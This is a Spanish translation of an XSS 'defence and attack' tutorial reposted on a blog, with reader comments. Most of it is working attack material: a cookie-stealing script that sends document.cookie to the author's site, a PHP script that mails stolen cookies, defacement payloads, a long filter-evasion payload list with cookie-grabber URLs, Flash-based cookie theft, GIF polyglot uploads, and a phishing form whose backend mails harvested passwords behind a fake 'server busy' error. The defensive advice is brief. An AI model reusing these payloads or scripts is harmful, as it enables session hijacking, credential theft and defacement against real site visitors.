Cross Site Scripting (XSS): Guía de defensa y ataque.

Autor: Xylitol.

Descripción: guía simple de los métodos para XSS.

Página web: http://xylitol.free.fr

Contacto: xylitol[en]fbi[punto]com

Fecha: 10/02/08

Indice:

1. Qué es XSS.
2. Programar una vulnerabilidad XSS.
3. Programar un registrador de cookies.
4. Securizando un XSS.
5. Métodos para hacer un deface.
6. Paso de filtrado.
7. Ataque rápido.
8. Subir el XSS.
9. Phising con XSS.

Capítulo 1. Qué es XSS (de wikipedia, la enciclopedia gratis).

Cross Site Scripting es un fallo de seguridad que puede ser explotado desde el explorador web que uses. Este ataque permite contenido (scripts) en zonas sin privilegio, con permisos de zonas de privilegios – con subida de privilegios – dentro del navegador que ejecuta el script. La vulnerabilidad puede ser:

1. Un bug que permite contenido (scripts) bajo ciertas condiciones, que pueden ser ejecutadas con permisos de privilegio mayores de una zona más “peligrosa”.
2. Un error de configuración: sitios que no están a salvo listados en sitios que sí lo están.
3. Una vulnerabilidad de XSS en una zona privilegiada.

Un ataque normalmente consta de dos pasos. El primer paso consiste en hacer funcionar el XSS para que ejecute código de la zona privilegiada. Para completar el ataque, se inyectan componentes maliciosos de ActiveX.

Este tipo de vulnerabilidad es explotada para instalar de forma “silenciosa” malware (spyware, software de control remoto, gusanos, etc) en las máquinas cliente que visitan la página web.

Capítulo 2. Programar una vulnerabilidad XSS.

Abre el bloc de notas y pega el siguiente código en él:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
  <table width="270" border="0">
    <tr>
      <td width="106"><strong>Search:</strong></td>
        <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
      </tr>
  </table>
  <table width="268" border="0">
    <tr>
      <td width="262"><div align="center">
        <input name="submit" type="submit" value="     Search it !     " />
      </div></td>
      </tr>
  </table>
  </div>
</form>
</body>
</html>

Salva esta página como index.html. Luego haz la misma operación y copias esto:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<body>
<span>Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

Salva esta página con el nombre XSS.php. Cierra el bloc de notas.

Abre index.html en el Firefox. Mete un valor y dale a buscar.

Ahora, abre la página de nuevo e introduce

 <script>alert('Red-Orbita')</script>

Envía la búsqueda. ¡Bingo, una ventana de diálogo!

Capítulo 3. Recolector de cookie.

Mete este script en una página vulnerable (como un libro de visitas)

<script>
window.open("http://www.red-orbita.com/cookie.php?cookies="+document.cookie);
</script>

(www.red-orbita.com = tu página)

Abre el bloc de notas, copia est código y guárdalo como cookie.php:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :) ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body></html>

Suficiente para robarla, ahora a esperar el e-mail para tener la cookie.

Capítulo 4. Securizando el XSS.

Para arreglar el XSS usa las entidades HTML. En la línea 16 cámbia:

<body>
<span>Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>

Por esto:

<body>
<span>Search result  :</span> <strong><?php
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>
</body>

Usa htmlspecialchars() en PHP.

Capítulo 5. Cómo hacer el deface.

Deface con imagen:

<IMG src="https://red-orbita.com/rokitoh.png">

Deface con vídeo o flash:

<EMBED src="https://red-orbita.com/rokitoh.swf"

Más conocido:

<script>window.open( "http://www.red-orbita.com/rokitoh.html" )</script>

Y también:

<meta http-equiv="refresh" content="0; url=https://red-orbita.com/rokitoh.html" />

Capítulo 6. Evitar los filtros.

Normalmente no es fácil evitar los filtros de htmlspecialchars(). Aquí tenéis un ejemplo de cómo hacerlo:

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG src=javascript:alert(String.fromCharCode(88,83,83))>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG src=\"jav
ascript:alert('XSS');\">

<IMG src=\"jav	ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@import'javascript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>

Claro que hay otros, Google es tu amigo.

Capítulo 7. Ataque flash.

El flash se usa para animaciones complejas, animaciones, juegos. Lo que nos interesa de todo esto es la función getURL(). Esta función permite redirigir al usuario final de una página a otra. La sintaxis es la siguiente:

getURL(url:String, [window: String,[method:String]])

Y aquí tenéis un ejemplo:

getURL("http://victime.com/login.php?logout=true","_self");

url: indica la URL del sitio.

window: especifica entre qué frameworks debe estar la petición (_self, _blank…)

método: método para hacer la petición GET o POST (GET por defecto).

Aquí el manejo del actionscript y del Javascript para postear una alerta:

getURL("javascript:alert('XSS'");

En el 2002 se podía postear la cookie de alguien de la siguiente forma:

getURL("javascript:alert(document.cookie)")

En diciembre del 2005, una nueva alternativa apareció que tenía la posibilidad de colocar on flash en su firma para obtener un XSS permanente. ¿Cómo robar una cookie en flash? Nada para hacerlo como esto:

GetURL("http://www.victime.com/page.php?var=<script src='http://www.red-orbita.com/rokitoh.js'></script>","_self");

y en rokitoh.js:

document.location="http://rokitoh.com/cookiestealer.php?cookie="+document.cookie;

Para arreglarlo es fácil, no metas ficheros en flash en tu aplicación web.

Capítulo 8. Subir el XSS.

En paint, crea un archivo con el nombre rokitoh.gif por ejemplo. Luego, ábrelo en el bloc de nota, borra todas las líneas e inserta lo siguiente:

GIF89a<script>alert("XSS")</script>

Sálvalo y ciérralo. Sube Haxored.gif a cualquier hosting de imágenes gratuito y listo, tu XSS está disponible. No uses firefox, si acaso mozilla o internet explorer para ver tu imagen.

¿Por qué añadir GIF89a? Bien, algunas herramientas de upload revisan si tienen la cabecera estos caracteres en las imágenes GIF. La vulnerabilidad consiste en revisar nada más que el código que hemos mencionado, y no todo el “contenido” real del archivo de la imagen:

GIF89a<script src="https://red-orbita.com/cookiegrabber.php">)

Para saber el código de otro formato de imagen, lo único que tenéis que hacer es abrir una imagen con el bloc de notas (o cualquier otro editor. Por ejemplo para los PNG es %PNG.

PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIF
BMP = BMFÖ

Para securizar esto, no revises únicamente con getimagesize().

Capítulo 9. Phising con XSS.

¿Comprendiste el objetivo del phising? ¿Y del XSS? En nuestro ejemplo, sería necesario encontrar un host vulnerable e inyectar código en la URL:

<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=          OK          >
</form>

Tendrás que adivinar el script que simulará una forma de conexión y enviar el valor en el ejemplo de mail.php enviando este mail:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
	color: #FFFFFF;
}
body {
	background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :) ", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body></html>

El usuario deberá creer que hay algo de sobrecarga y no ocurre nada sospechoso. ¿Entendiste todo?

(N. del traductor: Dejo esto igual, ya que son los greets del autor del artículo)

nexus, Langy, Uber0n, FullFreeez, RePliKaN!, bl00d, c0de91, Xonzai
Agent-D, Agent-Z, Vamp, Xspider, Mitnick, Honnox, Blwood, str0ke

and all hardworking sceners in the scene !

_________________________________
| |
| .: Xylitol thanks this sites :. |
|_________________________________|

http://www.googlebig.com/

http://xssed.com/

http://www.xssing.com/

http://www.milw0rm.com/

http://H4cky0u.org/

If you want to contact me for any stupid reason,
drop me an MSN or WLM only: Xylitol[at]fbi[dot]gov

Fuente original del artículo aquí. Traducido por Jacob F.P

La información aquí expuesta es para uso educativo y demostrativo únicamente. El traductor no se hace responsable del uso que se le pueda dar a la misma, desvinculándose complétamente de cualquier responsabilidad.

Fuente: http://mentesdelitio.es/2008/02/23/cross-site-scripting-xss-guia-de-defensa-y-ataque/

Conversor universa: http://hwagm.elhacker.net/php/sneak.php

4 comentarios en “Cross Site Scripting (XSS): Guía de defensa y ataque.”

  1. Hola,

    ya que te has marcado el lujazo de poner mi artículo traducido en tu blog, al menos creo que sería ético citar también mi fuente, porque este artículo ha sido «copiar y pegar».

    Un saludo.

  2. Hola, en el paso 2 ya tengo los archivos html y php pero cuando doy buscar me aparece un mensaje que si quiero almacenar el archivo y lo guarde o no no pasa nada

Responder a Jose Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *